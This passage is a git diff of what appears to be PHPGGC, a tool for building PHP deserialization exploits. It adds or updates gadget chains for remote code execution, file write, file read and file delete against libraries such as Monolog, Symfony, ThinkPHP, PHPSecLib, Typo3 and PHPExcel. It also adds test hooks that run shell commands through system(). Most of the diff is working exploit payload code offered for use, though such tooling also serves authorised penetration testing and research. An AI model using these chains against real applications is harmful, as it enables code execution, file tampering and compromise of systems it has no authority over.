[$file]; + } + } +} diff --git a/gadgetchains/Monolog/FW/1/chain.php b/gadgetchains/Monolog/FW/1/chain.php new file mode 100644 index 0000000..a7521fa --- /dev/null +++ b/gadgetchains/Monolog/FW/1/chain.php @@ -0,0 +1,21 @@ +message = $data; + $this->datetime = new \DateTimeImmutable; + } + } +} + +namespace Monolog\Handler +{ + class DeduplicationHandler + { + protected string $deduplicationStore; + protected int $bufferSize = 1; + protected array $buffer; + protected \Monolog\Level $deduplicationLevel = \Monolog\Level::Debug; + + public function __construct($data, $path) + { + $this->buffer = [new \Monolog\LogRecord($data)]; + $this->deduplicationStore = $path; + } + } + + class GroupHandler + { + protected array $handlers; + + public function __construct($data, $path) + { + $this->handlers = [new \Monolog\Handler\DeduplicationHandler($data, $path)]; + } + } +} \ No newline at end of file diff --git a/gadgetchains/Monolog/RCE/1/chain.php b/gadgetchains/Monolog/RCE/1/chain.php index 1903bb7..3a6210e 100644 --- a/gadgetchains/Monolog/RCE/1/chain.php +++ b/gadgetchains/Monolog/RCE/1/chain.php @@ -4,7 +4,7 @@ class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall { - public static $version = '1.18 <= 2.1.1+'; + public static $version = '1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+'; public static $vector = '__destruct'; public static $author = 'cf'; diff --git a/gadgetchains/Monolog/RCE/1/gadgets.php b/gadgetchains/Monolog/RCE/1/gadgets.php index 4f6bd5b..335492c 100644 --- a/gadgetchains/Monolog/RCE/1/gadgets.php +++ b/gadgetchains/Monolog/RCE/1/gadgets.php @@ -28,7 +28,7 @@ { $this->processors = $methods; $this->buffer = [$command]; - $this->handler = clone $this; + $this->handler = $this; } } -} \ No newline at end of file +} diff --git a/gadgetchains/Monolog/RCE/2/chain.php b/gadgetchains/Monolog/RCE/2/chain.php index 4038919..6bca555 100644 --- a/gadgetchains/Monolog/RCE/2/chain.php +++ b/gadgetchains/Monolog/RCE/2/chain.php @@ -4,7 +4,7 @@ class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall { - public static $version = '1.5 <= 2.1.1+'; + public static $version = '1.4.1 <= 2.7.0+'; public static $vector = '__destruct'; public static $author = 'cf'; diff --git a/gadgetchains/Monolog/RCE/2/gadgets.php b/gadgetchains/Monolog/RCE/2/gadgets.php index a80f7e7..cbc392b 100644 --- a/gadgetchains/Monolog/RCE/2/gadgets.php +++ b/gadgetchains/Monolog/RCE/2/gadgets.php @@ -29,7 +29,7 @@ { $this->processors = $methods; $this->buffer = [$command]; - $this->handler = clone $this; + $this->handler = $this; } } -} \ No newline at end of file +} diff --git a/gadgetchains/Monolog/RCE/5/chain.php b/gadgetchains/Monolog/RCE/5/chain.php new file mode 100644 index 0000000..6e4911b --- /dev/null +++ b/gadgetchains/Monolog/RCE/5/chain.php @@ -0,0 +1,19 @@ +__destruct() => close() => flushBuffer() => handleBatch($records) + + class FingersCrossedHandler { + protected $passthruLevel; + protected $buffer = array(); + protected $handler; + + public function __construct($param, $handler) + { + $this->passthruLevel = 0; + $this->buffer = ['test' => [$param, 'level' => null]]; + $this->handler = $handler; + } + + } + + class GroupHandler { + protected $processors = array(); + public function __construct($function) + { + $this->processors = ['current', $function]; + } + + } +} diff --git a/gadgetchains/Monolog/RCE/6/chain.php b/gadgetchains/Monolog/RCE/6/chain.php new file mode 100644 index 0000000..ecd7a8e --- /dev/null +++ b/gadgetchains/Monolog/RCE/6/chain.php @@ -0,0 +1,19 @@ +__destruct() => close() => flushBuffer() => handleBatch($records) + + class FingersCrossedHandler { + protected $passthruLevel; + protected $buffer = array(); + protected $handler; + + public function __construct($param, $handler) + { + $this->passthruLevel = 0; + $this->buffer = ['test' => [$param, 'level' => null]]; + $this->handler = $handler; + } + + } + + class BufferHandler + { + protected $handler; + protected $bufferSize = -1; + protected $buffer; + # ($record['level'] < $this->level) == false + protected $level = null; + protected $initialized = true; + # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false + protected $bufferLimit = -1; + protected $processors; + + function __construct($function) + { + $this->processors = ['current', $function]; + } + } + +} diff --git a/gadgetchains/Monolog/RCE/7/chain.php b/gadgetchains/Monolog/RCE/7/chain.php new file mode 100644 index 0000000..ba9a78c --- /dev/null +++ b/gadgetchains/Monolog/RCE/7/chain.php @@ -0,0 +1,22 @@ + 0] + ); + } +} diff --git a/gadgetchains/Monolog/RCE/7/gadgets.php b/gadgetchains/Monolog/RCE/7/gadgets.php new file mode 100644 index 0000000..f155cd5 --- /dev/null +++ b/gadgetchains/Monolog/RCE/7/gadgets.php @@ -0,0 +1,18 @@ +processors = $methods; + $this->buffer = [$command]; + $this->handler = $this; + } + } +} diff --git a/gadgetchains/Monolog/RCE/8/chain.php b/gadgetchains/Monolog/RCE/8/chain.php new file mode 100644 index 0000000..eed2e66 --- /dev/null +++ b/gadgetchains/Monolog/RCE/8/chain.php @@ -0,0 +1,19 @@ +level = \Monolog\Level::Debug; + $this->mixed = $parameter; + } + } +} + +namespace Monolog\Handler +{ + class GroupHandler + { + protected array $handlers; + + public function __construct($function, $parameter) + { + $this->handlers = [new \Monolog\Handler\BufferHandler($function, $parameter)]; + } + } + + class BufferHandler + { + protected $handler; + protected int $bufferSize = 1; + protected int $bufferLimit = 0; + protected array $buffer; + protected bool $initialized = true; + protected array $processors; + + public function __construct($function, $parameter) + { + $this->handler = $this; + $this->buffer = [new \Monolog\LogRecord($parameter)]; + $this->processors = ['get_object_vars', 'end', $function]; + } + } +} \ No newline at end of file diff --git a/gadgetchains/Monolog/RCE/9/chain.php b/gadgetchains/Monolog/RCE/9/chain.php new file mode 100644 index 0000000..747470f --- /dev/null +++ b/gadgetchains/Monolog/RCE/9/chain.php @@ -0,0 +1,19 @@ +processors = ['get_object_vars', 'end', $function]; + $this->buffer = [new \Monolog\LogRecord($parameter)]; + $this->handler = $this; + } + } +} + +namespace Monolog +{ + enum Level: int + { + case Debug = 100; + } + + class LogRecord + { + public Level $level = \Monolog\Level::Debug; + public mixed $formatted; + + function __construct($parameter) + { + $this->mixed = $parameter; + } + } +} \ No newline at end of file diff --git a/gadgetchains/PHPCSFixer/FD/1/chain.php b/gadgetchains/PHPCSFixer/FD/1/chain.php index 542e2c6..463944c 100644 --- a/gadgetchains/PHPCSFixer/FD/1/chain.php +++ b/gadgetchains/PHPCSFixer/FD/1/chain.php @@ -9,9 +9,9 @@ public function generate(array $parameters) { - $remote_file = $parameters["remote_file"]; + $remote_path = $parameters["remote_path"]; - return new \PhpCsFixer\FileRemoval($remote_file); + return new \PhpCsFixer\FileRemoval($remote_path); } } diff --git a/gadgetchains/PHPCSFixer/FD/1/gadgets.php b/gadgetchains/PHPCSFixer/FD/1/gadgets.php index dea06cc..4031fde 100644 --- a/gadgetchains/PHPCSFixer/FD/1/gadgets.php +++ b/gadgetchains/PHPCSFixer/FD/1/gadgets.php @@ -6,9 +6,9 @@ class FileRemoval { - function __construct($remote_file) + function __construct($remote_path) { - $this->files = [$remote_file => $remote_file]; + $this->files = [$remote_path => $remote_path]; } diff --git a/gadgetchains/PHPCSFixer/FD/2/chain.php b/gadgetchains/PHPCSFixer/FD/2/chain.php index 3228330..fb3cbac 100644 --- a/gadgetchains/PHPCSFixer/FD/2/chain.php +++ b/gadgetchains/PHPCSFixer/FD/2/chain.php @@ -10,8 +10,8 @@ public function generate(array $parameters) { - $remote_file = $parameters["remote_file"]; + $remote_path = $parameters["remote_path"]; - return new \PhpCsFixer\Linter\ProcessLinter($remote_file); + return new \PhpCsFixer\Linter\ProcessLinter($remote_path); } }diff --git a/gadgetchains/PHPCSFixer/FD/2/gadgets.php b/gadgetchains/PHPCSFixer/FD/2/gadgets.php index c3d6232..83e87be 100644 --- a/gadgetchains/PHPCSFixer/FD/2/gadgets.php +++ b/gadgetchains/PHPCSFixer/FD/2/gadgets.php @@ -5,9 +5,9 @@ class ProcessLinter { - function __construct($remote_file) + function __construct($remote_path) { - $this->temporaryFile = $remote_file; + $this->temporaryFile = $remote_path; $this->fileRemoval = new \PhpCsFixer\FileRemoval(); } diff --git a/gadgetchains/PHPExcel/FD/1/chain.php b/gadgetchains/PHPExcel/FD/1/chain.php index 2919aa3..62f4669 100644 --- a/gadgetchains/PHPExcel/FD/1/chain.php +++ b/gadgetchains/PHPExcel/FD/1/chain.php @@ -10,6 +10,6 @@ public function generate(array $parameters) { - return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_file']); + return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_path']); } }diff --git a/gadgetchains/PHPExcel/FD/2/chain.php b/gadgetchains/PHPExcel/FD/2/chain.php index b3e6cea..3cadae6 100644 --- a/gadgetchains/PHPExcel/FD/2/chain.php +++ b/gadgetchains/PHPExcel/FD/2/chain.php @@ -10,6 +10,6 @@ public function generate(array $parameters) { - return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_file']); + return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_path']); } }diff --git a/gadgetchains/PHPExcel/FD/3/chain.php b/gadgetchains/PHPExcel/FD/3/chain.php index d31a98b..6dd2c32 100644 --- a/gadgetchains/PHPExcel/FD/3/chain.php +++ b/gadgetchains/PHPExcel/FD/3/chain.php @@ -10,6 +10,6 @@ public function generate(array $parameters) { - return new \PHPExcel_Shared_XMLWriter($parameters['remote_file']); + return new \PHPExcel_Shared_XMLWriter($parameters['remote_path']); } }diff --git a/gadgetchains/PHPExcel/FD/4/chain.php b/gadgetchains/PHPExcel/FD/4/chain.php index 252975e..6e65fb6 100644 --- a/gadgetchains/PHPExcel/FD/4/chain.php +++ b/gadgetchains/PHPExcel/FD/4/chain.php @@ -10,6 +10,6 @@ public function generate(array $parameters) { - return new \PHPExcel_Shared_XMLWriter($parameters['remote_file']); + return new \PHPExcel_Shared_XMLWriter($parameters['remote_path']); } }diff --git a/gadgetchains/PHPSecLib/RCE/1/chain.php b/gadgetchains/PHPSecLib/RCE/1/chain.php new file mode 100644 index 0000000..c866ec9 --- /dev/null +++ b/gadgetchains/PHPSecLib/RCE/1/chain.php @@ -0,0 +1,24 @@ +crypto = $a; + } + } +} + +namespace phpseclib\Crypt +{ + class Base + { + var $block_size; + var $inline_crypt; + var $use_inline_crypt = 1; + var $changed = 0; + var $engine = 1; + var $mode = 1; + + public function __construct($t) + { + if (strpos(get_class($this), 'AES')) + $this->inline_crypt = [$t, '_createInlineCryptFunction']; + else + $this->block_size = '1){}}}; ob_clean();' . $t . 'die(); ?>'; + } + } + + class AES extends Base + { + var $bitmap = 1; + var $crypto = 1; + } + + class TripleDES extends Base + { + } +} diff --git a/gadgetchains/Phalcon/RCE/1/chain.php b/gadgetchains/Phalcon/RCE/1/chain.php index 8e29c19..ad057e5 100644 --- a/gadgetchains/Phalcon/RCE/1/chain.php +++ b/gadgetchains/Phalcon/RCE/1/chain.php @@ -19,4 +19,9 @@ { return new \Phalcon\Logger\Adapter\File(); } + + public function test_setup() + { + throw new \PHPGGC\Exception("This GC cannot be tested."); + } } diff --git a/gadgetchains/Smarty/FD/1/chain.php b/gadgetchains/Smarty/FD/1/chain.php index 18ead39..dfae2f0 100644 --- a/gadgetchains/Smarty/FD/1/chain.php +++ b/gadgetchains/Smarty/FD/1/chain.php @@ -8,11 +8,11 @@ public static $vector = '__destruct'; public static $author = 'd3adc0de'; public static $parameters = [ - 'remote_file' + 'remote_path' ]; public function generate(array $parameters) { - return new \Smarty_Internal_Template($parameters['remote_file']); + return new \Smarty_Internal_Template($parameters['remote_path']); } }diff --git a/gadgetchains/SwiftMailer/FD/1/chain.php b/gadgetchains/SwiftMailer/FD/1/chain.php index d677fd8..d8f659d 100644 --- a/gadgetchains/SwiftMailer/FD/1/chain.php +++ b/gadgetchains/SwiftMailer/FD/1/chain.php @@ -10,6 +10,6 @@ public function generate(array $parameters) { - return new \Swift_ByteStream_TemporaryFileByteStream($parameters['remote_file']); + return new \Swift_ByteStream_TemporaryFileByteStream($parameters['remote_path']); } } diff --git a/gadgetchains/Symfony/RCE/5/chain.php b/gadgetchains/Symfony/RCE/5/chain.php new file mode 100644 index 0000000..ace0f5f --- /dev/null +++ b/gadgetchains/Symfony/RCE/5/chain.php @@ -0,0 +1,19 @@ +createCacheItem = $createCacheItem; + $this->pool = $pool; + $this->namespace = ''; + } + } + + + class NullAdapter + { + private $createCacheItem; + + public function __construct($createCacheItem) + { + $this->createCacheItem = $createCacheItem; + } + } +} + +namespace Symfony\Component\Console\Helper +{ + class Dumper + { + private $handler; + + public function __construct($handler) + { + $this->handler = $handler; + } + } +} + + +namespace Symfony\Component\Cache\Traits +{ + class RedisProxy + { + private $redis; + private $initializer; + + public function __construct($initializer, $redis) + { + $this->initializer = $initializer; + $this->redis = $redis; + } + } +} + +namespace Symfony\Component\Form +{ + + class FormErrorIterator + { + public $form; + private $errors; + + function __construct($errors, $form) + { + $this->errors = $errors; + $this->form = $form; + } + } +} + + +namespace Symfony\Component\HttpKernel\DataCollector +{ + class DumpDataCollector + { + protected $data; + private $stopwatch; + private $fileLinkFormat; + private $dataCount = 0; + private $isCollected = false; + private $clonesCount = 0; + private $clonesIndex = 0; + + public function __construct($function, $command) + { + $this->data = [ + [ + "data" => "1", + "name" => new \Symfony\Component\Form\FormErrorIterator([ + new \Symfony\Component\Form\FormErrorIterator( + [], + new \Symfony\Component\Cache\Traits\RedisProxy( + new \Symfony\Component\Console\Helper\Dumper([ + new \Symfony\Component\Cache\Adapter\ProxyAdapter( + 'dd', // exit function + new \Symfony\Component\Cache\Adapter\NullAdapter($function) + ), + "getItem" + ]), + $command + ) + )], + null + ), + "file" => "3", + "line" => "4" + ], + null, + null + ]; + } + } +} diff --git a/gadgetchains/TCPDF/FD/1/chain.php b/gadgetchains/TCPDF/FD/1/chain.php index ae33e43..082be34 100644 --- a/gadgetchains/TCPDF/FD/1/chain.php +++ b/gadgetchains/TCPDF/FD/1/chain.php @@ -14,7 +14,7 @@ public function generate(array $parameters) { - $file = $parameters['remote_file']; + $file = $parameters['remote_path']; return new \TCPDF( $file diff --git a/gadgetchains/TCPDF/FD/1/gadgets.php b/gadgetchains/TCPDF/FD/1/gadgets.php index d0d727f..0831a27 100644 --- a/gadgetchains/TCPDF/FD/1/gadgets.php +++ b/gadgetchains/TCPDF/FD/1/gadgets.php @@ -3,9 +3,9 @@ class TCPDF { protected $imagekeys; - function __construct($remote_file) { + function __construct($remote_path) { $this->imagekeys = [ - $remote_file + $remote_path ]; } } diff --git a/gadgetchains/ThinkPHP/FW/1/chain.php b/gadgetchains/ThinkPHP/FW/1/chain.php new file mode 100644 index 0000000..c81fe3d --- /dev/null +++ b/gadgetchains/ThinkPHP/FW/1/chain.php @@ -0,0 +1,36 @@ +' . $data . ''); + + if($length > 100000) + throw new \PHPGGC\Exception('Payload too big !'); + + $log = (int) log10($length); + $prefix = str_repeat('A', 4 - $log); + $data = $prefix . $data; + + return new \think\Process($path, $data); + } +} \ No newline at end of file diff --git a/gadgetchains/ThinkPHP/FW/1/gadgets.php b/gadgetchains/ThinkPHP/FW/1/gadgets.php new file mode 100644 index 0000000..70810df --- /dev/null +++ b/gadgetchains/ThinkPHP/FW/1/gadgets.php @@ -0,0 +1,143 @@ + true]; + + public function __construct($path, $data) + { + $this->processPipes = new HasMany($path, $data); + } + } + + class Model + { + } +} + + +namespace think\model +{ + use think\Model; + + class Merge extends Model + { + public $a = '1'; + + public function __construct() + { + } + } + + class Relation + { + protected $query; + } +} + + +namespace think\model\relation +{ + use think\console\Output; + use think\model\Merge; + use think\model\Relation; + + class HasMany extends Relation + { + protected $parent; + protected $localKey = 'a'; + protected $pivot; + protected $foreignKey; + + public function __construct($path, $data) + { + $this->foreignKey = $data; + $this->query = new Output($path, $data); + $this->parent = new Merge(); + } + } +} + + +namespace think\db +{ + class Query + { + } +} + + +namespace think\console +{ + class Output + { + protected $styles = [ + 'where' + ]; + private $handle; + + public function __construct($path, $data) + { + $this->handle = new \think\session\driver\Memcache($path, $data); + } + } +} + + +namespace think\session\driver +{ + class Memcache + { + protected $handler; + + public function __construct($path, $data) + { + $this->handler = new \think\cache\driver\Memcached($path, $data); + } + } +} + + +namespace think\cache\driver +{ + class Memcached + { + protected $tag; + protected $options; + protected $handler; + + public function __construct($path) + { + $this->tag = true; + $this->options = [ + 'expire' => 0, + 'prefix' => '', + ]; + $this->handler = new File($path); + } + } + + class File + { + protected $tag; + protected $options; + + public function __construct($path) + { + $this->tag = false; + $this->options = [ + 'expire' => 3600, + 'cache_subdir' => false, + 'prefix' => '', + 'data_compress' => false, + 'path' => 'php://filter/convert.base64-decode/resource=' . $path, + ]; + } + } +} \ No newline at end of file diff --git a/gadgetchains/ThinkPHP/FW/2/chain.php b/gadgetchains/ThinkPHP/FW/2/chain.php new file mode 100644 index 0000000..21ee8c0 --- /dev/null +++ b/gadgetchains/ThinkPHP/FW/2/chain.php @@ -0,0 +1,36 @@ +' . $data . ''); + + if($length > 100000) + throw new \PHPGGC\Exception('Payload too big !'); + + $log = (int) log10($length); + $prefix = str_repeat('A', 4 - $log); + $data = $prefix . $data; + + return new \think\Process($path, $data); + } +} \ No newline at end of file diff --git a/gadgetchains/ThinkPHP/FW/2/gadgets.php b/gadgetchains/ThinkPHP/FW/2/gadgets.php new file mode 100644 index 0000000..ba8d91b --- /dev/null +++ b/gadgetchains/ThinkPHP/FW/2/gadgets.php @@ -0,0 +1,105 @@ + true]; + + public function __construct($path,$data) + { + $this->processPipes = new \think\model\Relation($path, $data); + } + } +} + + +namespace think\model +{ + use think\console\Output; + + class Relation + { + protected $query; + protected $type = 2; // HAS_MANY + protected $where; + + public function __construct($path,$data) + { + $this->where = $data; + $this->query = new Output($path); + } + } +} + + +namespace think\console +{ + class Output + { + protected $styles = [ + 'where' + ]; + private $handle; + + public function __construct($path) + { + $this->handle = new \think\session\driver\Memcache($path); + } + } +} + + +namespace think\session\driver +{ + class Memcache + { + protected $handler; + + public function __construct($path) + { + $this->handler = new \think\cache\driver\Memcached($path); + } + } +} + + +namespace think\cache\driver +{ + class Memcached + { + protected $tag; + protected $options; + protected $handler; + + public function __construct($path) + { + $this->tag = true; + $this->options = [ + 'expire' => 0, + 'prefix' => '', + ]; + $this->handler = new File($path); + } + } + + class File + { + protected $tag; + protected $options; + + public function __construct($path) + { + $this->tag = false; + $this->options = [ + 'expire' => 3600, + 'cache_subdir' => false, + 'prefix' => '', + 'data_compress' => false, + 'path' => 'php://filter/convert.base64-decode/resource=' . $path, + ]; + } + } +} \ No newline at end of file diff --git a/gadgetchains/ThinkPHP/RCE/1/gadgets.php b/gadgetchains/ThinkPHP/RCE/1/gadgets.php index 7dd27ea..ded22b2 100644 --- a/gadgetchains/ThinkPHP/RCE/1/gadgets.php +++ b/gadgetchains/ThinkPHP/RCE/1/gadgets.php @@ -13,17 +13,17 @@ namespace think\model\concern { trait Conversion { - protected $append = array("Smi1e" => "1"); + protected $append = array("smi1e" => "1"); } trait Attribute { private $data; - private $withAttr = array("Smi1e" => "system"); + private $withAttr = array("smi1e" => "system"); public function get($system) { - $this->data = array("Smi1e" => "$system"); + $this->data = array("smi1e" => "$system"); } } } diff --git a/gadgetchains/ThinkPHP/RCE/2/chain.php b/gadgetchains/ThinkPHP/RCE/2/chain.php new file mode 100644 index 0000000..915f4fe --- /dev/null +++ b/gadgetchains/ThinkPHP/RCE/2/chain.php @@ -0,0 +1,22 @@ +files = [new Pivot($function, $parameter)]; + } + } +} + +namespace think\model +{ + use think\db\Query; + + abstract class Relation + { + } +} + +namespace think\model\relation +{ + use think\model\Relation; + use think\db\Query; + + abstract class OneToOne extends Relation + { + } + + class HasOne extends OneToOne + { + protected $selfRelation; + protected $query; + protected $bindAttr = []; + + function __construct($function, $parameter) + { + $this->bindAttr = ["no", "123"]; + $this->selfRelation = false; + $this->query = new Query($function, $parameter); + } + } +} + + +namespace think +{ + use think\model\relation\HasOne; + use think\console\Output; + use think\db\Query; + + abstract class Model + { + protected $append = []; + protected $error; + protected $parent; + protected $selfRelation; + protected $query; + + function __construct($function, $parameter) + { + $this->append = ['getError']; + $this->error = new HasOne($function, $parameter); + $this->parent = new Output($function, $parameter); + $this->selfRelation = false; + $this->query = new Query($function, $parameter); + } + } +} + + +namespace think\db +{ + use think\console\Output; + + class Query + { + protected $model; + function __construct($function, $parameter) + { + $this->model = new Output($function, $parameter); + } + } +} + + +namespace think\console +{ + use think\session\driver\Memcached; + + class Output + { + private $handle = null; + protected $styles = []; + + function __construct($function, $parameter) + { + $this->handle = new Memcached($function, $parameter); + $this->styles = ['getAttr']; + } + } +} + + +namespace think\session\driver +{ + use think\cache\driver\Memcache; + + class Memcached + { + protected $handler = null; + protected $config = []; + + function __construct($function, $parameter) + { + $this->handler = new Memcache($function, $parameter); + $this->config = [ + 'host' => '127.0.0.1', + 'port' => 11211, + 'expire' => 3600, + 'timeout' => 0, + 'session_name' => 'HEXENS', + 'username' => '', + 'password' => '', + ]; + } + } +} + + + +namespace think\cache\driver +{ + use think\Request; + + class Memcache + { + protected $options = []; + protected $handler = null; + protected $tag; + + function __construct($function, $parameter) + { + $this->handler = new Request($function, $parameter); + $this->options = [ + 'expire' => 0, + 'cache_subdir' => false, + 'prefix' => '', + 'path' => '', + 'data_compress' => false, + ]; + $this->tag = true; + } + } +} + + + +namespace think +{ + class Request + { + protected $get; + protected $filter; + + function __construct($function, $parameter) + { + $this->get = ["HEXENSno<" => $parameter]; + $this->filter = $function; + } + } +} + + +namespace think\model +{ + use think\Model; + + class Pivot extends Model + { + } +} diff --git a/gadgetchains/Typo3/FD/1/chain.php b/gadgetchains/Typo3/FD/1/chain.php new file mode 100644 index 0000000..1444d45 --- /dev/null +++ b/gadgetchains/Typo3/FD/1/chain.php @@ -0,0 +1,19 @@ +extensionBackupPath = $extensionBackupPath; + } + +} diff --git a/gadgetchains/ZendFramework/FD/1/chain.php b/gadgetchains/ZendFramework/FD/1/chain.php index 5eb82d0..eeee999 100644 --- a/gadgetchains/ZendFramework/FD/1/chain.php +++ b/gadgetchains/ZendFramework/FD/1/chain.php @@ -8,12 +8,12 @@ public static $vector = '__destruct'; public static $author = 'mpchadwick'; public static $parameters = [ - 'remote_file' + 'remote_path' ]; public function generate(array $parameters) { - $file = $parameters['remote_file']; + $file = $parameters['remote_path']; return new \Zend_Http_Response_Stream( true, diff --git a/lib/PHPGGC/Enhancement/ASCIIStrings.php b/lib/PHPGGC/Enhancement/ASCIIStrings.php index ba9ee67..0b9486a 100644 --- a/lib/PHPGGC/Enhancement/ASCIIStrings.php +++ b/lib/PHPGGC/Enhancement/ASCIIStrings.php @@ -11,6 +11,11 @@ */ class ASCIIStrings extends Enhancement { + public function __construct($full=false) + { + $this->full = $full; + } + public function process_serialized($serialized) { $new = ''; @@ -25,13 +30,14 @@ ) ) { - $p_start = $matches[0][1]; $p_start_string = $p_start + strlen($matches[0][0]); $length = $matches[1][0]; $p_end_string = $p_start_string + $length; # Check if this really is a serialized string + # This is error-prone: if a stirng contains a serialized string, + # for instance, ... if(!( strlen($serialized) > $p_end_string + 2 && substr($serialized, $p_end_string, 2) == '";' @@ -47,10 +53,10 @@ for($i=0; $i < strlen($string); $i++) { $letter = $string[$i]; - $clean_string .= ctype_print($letter) && $letter != '\\' ? - $letter : - sprintf("\\%02x", ord($letter)); - ; + if($this->full || !ctype_print($letter) || $letter == '\\') + $letter = sprintf("\\%02x", ord($letter)); + + $clean_string .= $letter; } # Make the replacement diff --git a/lib/PHPGGC/GadgetChain/FileDelete.php b/lib/PHPGGC/GadgetChain/FileDelete.php index 1db0507..8c8df34 100644 --- a/lib/PHPGGC/GadgetChain/FileDelete.php +++ b/lib/PHPGGC/GadgetChain/FileDelete.php @@ -6,6 +6,24 @@ { public static $type = self::TYPE_FD; public static $parameters = [ - 'remote_file' + 'remote_path' ]; + + public function test_setup() + { + return [ + 'remote_path' => \PHPGGC\Util::rand_file('test file delete') + ]; + } + + public function test_confirm($arguments, $output) + { + return !file_exists($arguments['remote_path']); + } + + public function test_cleanup($arguments) + { + if(file_exists($arguments['remote_path'])) + unlink($arguments['remote_path']); + } }diff --git a/lib/PHPGGC/GadgetChain/FileRead.php b/lib/PHPGGC/GadgetChain/FileRead.php index 001f4be..af94050 100644 --- a/lib/PHPGGC/GadgetChain/FileRead.php +++ b/lib/PHPGGC/GadgetChain/FileRead.php @@ -6,6 +6,25 @@ { public static $type = self::TYPE_FR; public static $parameters = [ - 'remote_file' + 'remote_path' ]; + + public function test_setup() + { + return [ + 'remote_path' => \PHPGGC\Util::rand_file('test file read') + ]; + } + + public function test_confirm($arguments, $output) + { + $expected = file_get_contents($arguments['remote_path']); + return strpos($output, $expected) !== false; + } + + public function test_cleanup($arguments) + { + if(file_exists($arguments['remote_path'])) + unlink($arguments['remote_path']); + } }diff --git a/lib/PHPGGC/GadgetChain/FileWrite.php b/lib/PHPGGC/GadgetChain/FileWrite.php index 54d43c8..848767b 100644 --- a/lib/PHPGGC/GadgetChain/FileWrite.php +++ b/lib/PHPGGC/GadgetChain/FileWrite.php @@ -20,4 +20,31 @@ $parameters['data'] = file_get_contents($local_path); return $parameters; } + + public function test_setup() + { + return [ + 'local_path' => \PHPGGC\Util::rand_file('test file write'), + 'remote_path' => \PHPGGC\Util::rand_path('', '.test') + ]; + } + + public function test_confirm($arguments, $output) + { + if(!file_exists($arguments['remote_path'])) + return false; + + $expected = file_get_contents($arguments['local_path']); + $obtained = file_get_contents($arguments['remote_path']); + + return strpos($obtained, $expected) !== false; + } + + public function test_cleanup($arguments) + { + if(file_exists($arguments['remote_path'])) + unlink($arguments['remote_path']); + if(file_exists($arguments['local_path'])) + unlink($arguments['local_path']); + } }diff --git a/lib/PHPGGC/GadgetChain/PHPInfo.php b/lib/PHPGGC/GadgetChain/PHPInfo.php index aa0bf32..15884da 100644 --- a/lib/PHPGGC/GadgetChain/PHPInfo.php +++ b/lib/PHPGGC/GadgetChain/PHPInfo.php @@ -5,4 +5,24 @@ abstract class PHPInfo extends \PHPGGC\GadgetChain { public static $type = self::TYPE_INFO; + + public function test_setup() + { + return []; + } + + public function test_confirm($arguments, $output) + { + $expected = [ + 'phpinfo()', + 'PHP Authors', + 'Module Authors', + 'PHP Variables' + ]; + foreach($expected as $needle) + if(strpos($output, $needle) === false) + return false; + + return true; + } }diff --git a/lib/PHPGGC/GadgetChain/RCE/Command.php b/lib/PHPGGC/GadgetChain/RCE/Command.php index 6960091..d1f320d 100644 --- a/lib/PHPGGC/GadgetChain/RCE/Command.php +++ b/lib/PHPGGC/GadgetChain/RCE/Command.php @@ -13,4 +13,12 @@ public static $parameters = [ 'command' ]; + + public function test_setup() + { + $command = $this->_test_build_command(); + return [ + 'command' => $command + ]; + } }diff --git a/lib/PHPGGC/GadgetChain/RCE/FunctionCall.php b/lib/PHPGGC/GadgetChain/RCE/FunctionCall.php index 97924a1..e0a6d0f 100644 --- a/lib/PHPGGC/GadgetChain/RCE/FunctionCall.php +++ b/lib/PHPGGC/GadgetChain/RCE/FunctionCall.php @@ -14,4 +14,14 @@ 'function', 'parameter' ]; + + public function test_setup() + { + $command = $this->_test_build_command(); + return [ + 'function' => 'system', + 'parameter' => + $command + ]; + } }diff --git a/lib/PHPGGC/GadgetChain/RCE/PHPCode.php b/lib/PHPGGC/GadgetChain/RCE/PHPCode.php index 8aa4a63..f297ee3 100644 --- a/lib/PHPGGC/GadgetChain/RCE/PHPCode.php +++ b/lib/PHPGGC/GadgetChain/RCE/PHPCode.php @@ -13,4 +13,14 @@ public static $parameters = [ 'code' ]; + + public function test_setup() + { + # TODO file_put_contents() might be a better option here, but it'll work + # for now. + $command = $this->_test_build_command(); + return [ + 'code' => 'system(' . var_export($command, true) . ');' + ]; + } }diff --git a/lib/PHPGGC/GadgetChain/RCE.php b/lib/PHPGGC/GadgetChain/RCE.php index 2c77de2..c26a970 100644 --- a/lib/PHPGGC/GadgetChain/RCE.php +++ b/lib/PHPGGC/GadgetChain/RCE.php @@ -7,4 +7,33 @@ public static $type = self::TYPE_RCE; # TBD by subclasses public static $parameters = []; + + /** + * The result of the command is not necessarily visible. We write the output + * to a file instead to be able to tell if the payload worked, even if + * there's no output. + */ + protected function _test_build_command() + { + $this->__test_rand_token = sha1(rand()); + $this->__test_rand_path = \PHPGGC\Util::rand_path(); + return + 'echo ' . $this->__test_rand_token . + ' > ' . $this->__test_rand_path + ; + } + + public function test_confirm($arguments, $output) + { + if(!file_exists($this->__test_rand_path)) + return false; + $result = file_get_contents($this->__test_rand_path); + return strpos($result, $this->__test_rand_token) !== false; + } + + public function test_cleanup($arguments) + { + if(file_exists($this->__test_rand_path)) + unlink($this->__test_rand_path); + } }diff --git a/lib/PHPGGC/GadgetChain/SSRF.php b/lib/PHPGGC/GadgetChain/SSRF.php index 11838cc..0bd6244 100644 --- a/lib/PHPGGC/GadgetChain/SSRF.php +++ b/lib/PHPGGC/GadgetChain/SSRF.php @@ -7,5 +7,15 @@ public static $parameters = [ 'uri' ]; + + public function test_setup() + { + throw new \PHPGGC\Exception("SSRF payloads cannot be tested."); + } + + public function test_confirm($arguments, $output) + { + return false; + } } ?> diff --git a/lib/PHPGGC/GadgetChain/SqlInjection.php b/lib/PHPGGC/GadgetChain/SqlInjection.php index c2a6cf5..bf80407 100644 --- a/lib/PHPGGC/GadgetChain/SqlInjection.php +++ b/lib/PHPGGC/GadgetChain/SqlInjection.php @@ -8,4 +8,14 @@ public static $parameters = [ 'sql' ]; + + public function test_setup() + { + throw new \PHPGGC\Exception("SQL injection payloads cannot be tested."); + } + + public function test_confirm($arguments, $output) + { + return false; + } } diff --git a/lib/PHPGGC/GadgetChain.php b/lib/PHPGGC/GadgetChain.php index 3e66cd3..a9e936e 100644 --- 